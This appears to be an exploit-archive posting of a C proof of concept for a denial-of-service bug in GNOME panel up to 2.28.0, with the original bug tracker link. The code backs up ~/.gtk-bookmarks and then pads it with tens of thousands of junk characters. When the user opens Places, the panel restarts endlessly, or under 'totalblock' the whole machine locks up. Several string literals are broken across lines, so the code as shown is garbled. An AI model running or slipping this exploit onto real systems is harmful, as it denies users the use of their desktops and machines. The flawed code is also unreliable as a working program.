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Posted on 07 January 2010

# Exploit Title: Gnome panel <= 2.28.0 denial of service poc 0-day
# Date: 06/01/2009
# Author: Pietro Oliva
# Software Link:
# Version: 2.28.0
# Tested on: ubuntu 9.10
# CVE :
# Code :

/*********************************************************************************
*	        Gnome panel <= 2.28.0 denial of service poc 0-day		 *
*		     by  Pietro Oliva <pietroliva@gmail.com>			 *
*										 *
*	      After executing this poc a backup file will be created             *
*                You can restore it by typing ./paneldos restore                 *
*           Using option restart gnome-panel will restart continuously           *
*          Using option totalblock you will need to remove the battery           *
*       After execution click application in the panel, then go to places        *
*                             and wait some seconds...   			 *
*       https://bugs.launchpad.net/ubuntu/+source/gnome-panel/+bug/503868        *
**********************************************************************************/



#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
FILE *f;
unsigned long i;
printf("%s","Gnome panel <= 2.28.0 denial of service by Pietro Oliva poc 0-day

");
if(!(f=fopen(".gtk-bookmarks","r")))
{
printf("%s","file not found! make sure you are running
this file from your home directory
");
return 1;
}
fclose(f);
if((argv[1]==NULL))
{
printf("%s","please specify an argument!
");
printf("%s","usage: ./paneldos <option>
possible options are:	restart		totalblock	restore
");
return 1;
}
if(((strcmp(argv[1],"restart"))==0))
i=9999;
else if((strcmp(argv[1],"totalblock"))==0)
i=99999;
else if((strcmp(argv[1],"restore"))==0)
{
if(!(f=fopen(".backup","r")))
{
printf("%s","no backup found!
make sure you are running
this file from your home directory
");
return 1;
}
fclose(f);
system("cp .backup .gtk-bookmarks");
printf("%s","succesfully restored!
");
return 0;
}
else
{
printf("%s","usage: ./paneldos <option>
possible options are:	restart		totalblock	restore
");
return 1;
}
if(!(f=fopen(".backup","r")))
{
printf("%s","creating backup...
");
system("cp .gtk-bookmarks .backup");
}
else
fclose(f);
f=fopen(".gtk-bookmarks","a");
printf("%s","starting...
");
fwrite("file:///home ",1,13,f);
while(i>0)
{
fwrite("	a",1,2,f);
i--;
}
fclose(f);
printf("%s","done! now click applications in panel,
slide to places, wait and see the result! :D
");
return 0;
}

 

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